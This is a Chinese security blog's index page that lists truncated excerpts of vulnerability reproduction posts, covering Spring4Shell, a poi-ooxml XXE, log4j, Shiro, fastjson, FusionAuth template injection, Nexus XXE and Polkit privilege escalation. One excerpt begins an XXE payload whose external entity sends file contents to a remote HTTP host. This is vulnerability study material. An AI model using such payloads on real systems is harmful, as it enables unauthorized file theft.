守拙的博客

漏洞利用条件JDK 9+Spring 及其衍生框架使用Tomcat部署spring项目使用了POJO参数绑定Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本环境搭建Java 靶场JDK 11（必须9及9以上）Tomcat 8首先需要个实体类sdfsdfpublic class HelloWorld { private String message; public String getM

一、 漏洞影响poi-ooxml3.10及以下二、环境搭建1. 漏洞环境使用大佬的java靶场：https://github.com/JoyChou93/java-sec-code.git。在C盘下新建1.txt，文件内容为success，用于演示文件读取2. 使用python起一个web服务用来加载远程dtd文件，在web服务目录下放置一个xxe.dtd<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.

最新log4j rce漏洞复现

shiro反序列化漏洞研究实践，shiro-550 POC，shiro-721破解过程剖析，为什么shiro-721需要登录才能利用？

fastsjon 1.2.24-1.2.68 多个版本反序列化漏洞的分析复现

Apache Shiro多个版本中存在认证绕过漏洞。攻击者可构造特殊的请求绕过身份验证访问目标服务。

一、漏洞名称：FusionAuth存在Freemarker模板注入导致远程命令执行二、漏洞编号：CVE-2020-7477三、漏洞描述：在FusionAuth 1.11.0之前版本存在注入漏洞，经过身份验证的用户被允许编辑电子邮件模板或主题, 远程攻击者可利用该漏洞调用在系统上执行任意命令。四、影响版本：FusionAuth <= 1.11.0五、漏洞分析通过对直接编辑freemarker模板，调用freemarker.template.utility.E

一、漏洞名称：Nexus Repository Manager 3 XML外部实体注入二、漏洞编号：CVE-2020-29436三、漏洞描述：2020年12月16日，360CERT监测发现Nexus Repository Manager 3发布了Nexus Repository Manager 3 命令注入漏洞 的风险通告，该漏洞编号为 CVE-2020-29436 ，漏洞等级：高危 ，漏洞评分：8.7 。拥有管理员权限的远程攻击者通过 构造特定的XML请求 ,可造成 XML外部实体注

CVE-2021-3560一、漏洞名称：Linux Polkit权限提升漏洞二、漏洞编号：CVE-2021-3560三、漏洞描述：由于linux的polkit组件错误处理了异常情况，导致权限提升。该漏洞能够使普通用户获取到root权限。四、影响版本：目前已知的版本情况。五、漏洞分析当一个命令被发送到目标程序处理时，消息发送方会被分配一个唯一总线名称（感觉有点像sessionid的意思）。当需要polkit去做权限校验时，polkit会通过唯一总线名称去查询命令发送方的U